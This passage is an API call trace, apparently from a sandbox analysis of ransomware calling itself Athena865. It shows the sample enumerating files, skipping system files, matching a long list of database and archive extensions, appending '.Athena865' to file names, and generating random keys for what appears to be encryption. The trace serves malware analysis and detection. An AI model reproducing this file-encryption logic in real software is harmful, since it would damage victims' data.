dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.543] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.543] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.544] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c300, lpName=0x0) returned 0x154 [0110.545] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c300) returned 0x2d50000 [0110.573] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.574] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.574] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.575] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0110.579] CloseHandle (hObject=0x154) returned 1 [0110.579] CloseHandle (hObject=0x17c) returned 1 [0110.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.582] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2=".") returned 1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="..") returned 1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="windows") returned -1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="bootmgr") returned 1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="temp") returned -1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="pagefile.sys") returned -1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="boot") returned 1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="ids.txt") returned 1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="ntuser.dat") returned -1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="perflogs") returned -1 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2="MSBuild") returned -1 [0110.582] lstrlenW (lpString="mip.exe") returned 7 [0110.582] lstrcpyW (in: lpString1=0x241e8ae, lpString2="mip.exe" | out: lpString1="mip.exe") returned="mip.exe" [0110.582] lstrlenW (lpString="mip.exe") returned 7 [0110.582] lstrlenW (lpString="Athena865") returned 9 [0110.582] lstrlenW (lpString=".dll") returned 4 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2=".dll") returned 1 [0110.582] lstrlenW (lpString=".lnk") returned 4 [0110.582] lstrcmpiW (lpString1="mip.exe", lpString2=".lnk") returned 1 [0110.582] lstrlenW (lpString=".ini") returned 4 [0110.583] lstrcmpiW (lpString1="mip.exe", lpString2=".ini") returned 1 [0110.583] lstrlenW (lpString=".sys") returned 4 [0110.583] lstrcmpiW (lpString1="mip.exe", lpString2=".sys") returned 1 [0110.583] lstrlenW (lpString="mip.exe") returned 7 [0110.583] lstrlenW (lpString="bak") returned 3 [0110.583] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0110.583] lstrlenW (lpString="ba_") returned 3 [0110.583] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0110.583] lstrlenW (lpString="dbb") returned 3 [0110.583] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0110.583] lstrlenW (lpString="vmdk") returned 4 [0110.583] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0110.583] lstrlenW (lpString="rar") returned 3 [0110.583] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0110.583] lstrlenW (lpString="zip") returned 3 [0110.583] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0110.583] lstrlenW (lpString="tgz") returned 3 [0110.583] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0110.583] lstrlenW (lpString="vbox") returned 4 [0110.583] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0110.583] lstrlenW (lpString="vdi") returned 3 [0110.583] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0110.583] lstrlenW (lpString="vhd") returned 3 [0110.583] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0110.583] lstrlenW (lpString="vhdx") returned 4 [0110.583] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0110.583] lstrlenW (lpString="avhd") returned 4 [0110.583] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0110.583] lstrlenW (lpString="db") returned 2 [0110.584] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0110.584] lstrlenW (lpString="db2") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0110.584] lstrlenW (lpString="db3") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0110.584] lstrlenW (lpString="dbf") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0110.584] lstrlenW (lpString="mdf") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0110.584] lstrlenW (lpString="mdb") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0110.584] lstrlenW (lpString="sql") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0110.584] lstrlenW (lpString="sqlite") returned 6 [0110.584] lstrcmpiW (lpString1="ip.exe", lpString2="sqlite") returned -1 [0110.584] lstrlenW (lpString="sqlite3") returned 7 [0110.584] lstrlenW (lpString="sqlitedb") returned 8 [0110.584] lstrlenW (lpString="xml") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0110.584] lstrlenW (lpString="$er") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0110.584] lstrlenW (lpString="4dd") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0110.584] lstrlenW (lpString="4dl") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0110.584] lstrlenW (lpString="^^^") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0110.584] lstrlenW (lpString="abs") returned 3 [0110.584] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0110.585] lstrlenW (lpString="abx") returned 3 [0110.585] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0110.585] lstrlenW (lpString="accdb") returned 5 [0110.585] lstrcmpiW (lpString1="p.exe", lpString2="accdb") returned 1 [0110.585] lstrlenW (lpString="accdc") returned 5 [0110.585] lstrcmpiW (lpString1="p.exe", lpString2="accdc") returned 1 [0110.585] lstrlenW (lpString="accde") returned 5 [0110.585] lstrcmpiW (lpString1="p.exe", lpString2="accde") returned 1 [0110.585] lstrlenW (lpString="accdr") returned 5 [0110.585] lstrcmpiW (lpString1="p.exe", lpString2="accdr") returned 1 [0110.585] lstrlenW (lpString="accdt") returned 5 [0110.585] lstrcmpiW (lpString1="p.exe", lpString2="accdt") returned 1 [0110.585] lstrlenW (lpString="accdw") returned 5 [0110.585] lstrcmpiW (lpString1="p.exe", lpString2="accdw") returned 1 [0110.585] lstrlenW (lpString="accft") returned 5 [0110.585] lstrcmpiW (lpString1="p.exe", lpString2="accft") returned 1 [0110.585] lstrlenW (lpString="adb") returned 3 [0110.585] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0110.585] lstrlenW (lpString="adb") returned 3 [0110.585] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0110.585] lstrlenW (lpString="ade") returned 3 [0110.585] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0110.585] lstrlenW (lpString="adf") returned 3 [0110.585] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0110.585] lstrlenW (lpString="adn") returned 3 [0110.585] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0110.585] lstrlenW (lpString="adp") returned 3 [0110.585] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0110.585] lstrlenW (lpString="alf") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0110.586] lstrlenW (lpString="ask") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0110.586] lstrlenW (lpString="btr") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0110.586] lstrlenW (lpString="cat") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0110.586] lstrlenW (lpString="cdb") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0110.586] lstrlenW (lpString="ckp") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0110.586] lstrlenW (lpString="cma") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0110.586] lstrlenW (lpString="cpd") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0110.586] lstrlenW (lpString="dacpac") returned 6 [0110.586] lstrcmpiW (lpString1="ip.exe", lpString2="dacpac") returned 1 [0110.586] lstrlenW (lpString="dad") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0110.586] lstrlenW (lpString="dadiagrams") returned 10 [0110.586] lstrlenW (lpString="daschema") returned 8 [0110.586] lstrlenW (lpString="db-journal") returned 10 [0110.586] lstrlenW (lpString="db-shm") returned 6 [0110.586] lstrcmpiW (lpString1="ip.exe", lpString2="db-shm") returned 1 [0110.586] lstrlenW (lpString="db-wal") returned 6 [0110.586] lstrcmpiW (lpString1="ip.exe", lpString2="db-wal") returned 1 [0110.586] lstrlenW (lpString="dbc") returned 3 [0110.586] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0110.586] lstrlenW (lpString="dbs") returned 3 [0110.587] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0110.587] lstrlenW (lpString="dbt") returned 3 [0110.587] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0110.587] lstrlenW (lpString="dbv") returned 3 [0110.587] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0110.587] lstrlenW (lpString="dbx") returned 3 [0110.587] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0110.587] lstrlenW (lpString="dcb") returned 3 [0110.587] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0110.587] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0110.587] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0110.587] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0110.587] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0110.587] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0110.587] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe.Athena865") returned 68 [0110.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.athena865"), dwFlags=0x1) returned 1 [0110.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0110.589] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1547264) returned 1 [0110.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.589] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.590] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.590] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.590] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x179f00, lpName=0x0) returned 0x154 [0110.592] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x179f00) returned 0x2d50000 [0110.645] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.646] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.646] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.647] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0110.661] CloseHandle (hObject=0x154) returned 1 [0110.661] CloseHandle (hObject=0x17c) returned 1 [0110.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.668] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2=".") returned 1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2="..") returned 1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2="windows") returned -1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2="bootmgr") returned 1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2="temp") returned -1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2="pagefile.sys") returned -1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2="boot") returned 1 [0110.668] lstrcmpiW (lpString1="mraut.dll", lpString2="ids.txt") returned 1 [0110.669] lstrcmpiW (lpString1="mraut.dll", lpString2="ntuser.dat") returned -1 [0110.669] lstrcmpiW (lpString1="mraut.dll", lpString2="perflogs") returned -1 [0110.669] lstrcmpiW (lpString1="mraut.dll", lpString2="MSBuild") returned -1 [0110.669] lstrlenW (lpString="mraut.dll") returned 9 [0110.669] lstrcpyW (in: lpString1=0x241e8ae, lpString2="mraut.dll" | out: lpString1="mraut.dll") returned="mraut.dll" [0110.669] lstrlenW (lpString="mraut.dll") returned 9 [0110.669] lstrlenW (lpString="Athena865") returned 9 [0110.669] lstrlenW (lpString=".dll") returned 4 [0110.670] lstrcmpiW (lpString1="mraut.dll", lpString2=".dll") returned 1 [0110.670] lstrlenW (lpString=".lnk") returned 4 [0110.670] lstrcmpiW (lpString1="mraut.dll", lpString2=".lnk") returned 1 [0110.670] lstrlenW (lpString=".ini") returned 4 [0110.670] lstrcmpiW (lpString1="mraut.dll", lpString2=".ini") returned 1 [0110.670] lstrlenW (lpString=".sys") returned 4 [0110.670] lstrcmpiW (lpString1="mraut.dll", lpString2=".sys") returned 1 [0110.670] lstrlenW (lpString="mraut.dll") returned 9 [0110.670] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.Athena865") returned 70 [0110.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.athena865"), dwFlags=0x1) returned 1 [0110.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0110.672] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6331392) returned 1 [0110.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.672] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.673] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.673] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.673] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x609f00, lpName=0x0) returned 0x154 [0110.674] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x9f00) returned 0x100000 [0110.782] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.783] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.783] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.784] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.784] CloseHandle (hObject=0x154) returned 1 [0110.784] CloseHandle (hObject=0x17c) returned 1 [0110.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.793] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0110.793] lstrcmpiW (lpString1="mshwgst.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.793] lstrcmpiW (lpString1="mshwgst.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.793] lstrcmpiW (lpString1="mshwgst.dll", lpString2=".") returned 1 [0110.793] lstrcmpiW (lpString1="mshwgst.dll", lpString2="..") returned 1 [0110.793] lstrcmpiW (lpString1="mshwgst.dll", lpString2="windows") returned -1 [0110.793] lstrcmpiW (lpString1="mshwgst.dll", lpString2="bootmgr") returned 1 [0110.793] lstrcmpiW (lpString1="mshwgst.dll", lpString2="temp") returned -1 [0110.793] lstrcmpiW (lpString1="mshwgst.dll", lpString2="pagefile.sys") returned -1 [0110.794] lstrcmpiW (lpString1="mshwgst.dll", lpString2="boot") returned 1 [0110.794] lstrcmpiW (lpString1="mshwgst.dll", lpString2="ids.txt") returned 1 [0110.794] lstrcmpiW (lpString1="mshwgst.dll", lpString2="ntuser.dat") returned -1 [0110.794] lstrcmpiW (lpString1="mshwgst.dll", lpString2="perflogs") returned -1 [0110.794] lstrcmpiW (lpString1="mshwgst.dll", lpString2="MSBuild") returned 1 [0110.794] lstrlenW (lpString="mshwgst.dll") returned 11 [0110.794] lstrcpyW (in: lpString1=0x241e8ae, lpString2="mshwgst.dll" | out: lpString1="mshwgst.dll") returned="mshwgst.dll" [0110.794] lstrlenW (lpString="mshwgst.dll") returned 11 [0110.794] lstrlenW (lpString="Athena865") returned 9 [0110.794] lstrcmpiW (lpString1="hwgst.dll", lpString2="Athena865") returned 1 [0110.794] lstrlenW (lpString=".dll") returned 4 [0110.794] lstrcmpiW (lpString1="mshwgst.dll", lpString2=".dll") returned 1 [0110.794] lstrlenW (lpString=".lnk") returned 4 [0110.794] lstrcmpiW (lpString1="mshwgst.dll", lpString2=".lnk") returned 1 [0110.794] lstrlenW (lpString=".ini") returned 4 [0110.794] lstrcmpiW (lpString1="mshwgst.dll", lpString2=".ini") returned 1 [0110.794] lstrlenW (lpString=".sys") returned 4 [0110.794] lstrcmpiW (lpString1="mshwgst.dll", lpString2=".sys") returned 1 [0110.794] lstrlenW (lpString="mshwgst.dll") returned 11 [0110.794] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll.Athena865") returned 72 [0110.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.athena865"), dwFlags=0x1) returned 1 [0110.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0110.796] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49664) returned 1 [0110.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.796] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.797] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.797] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.797] CryptReleaseContext 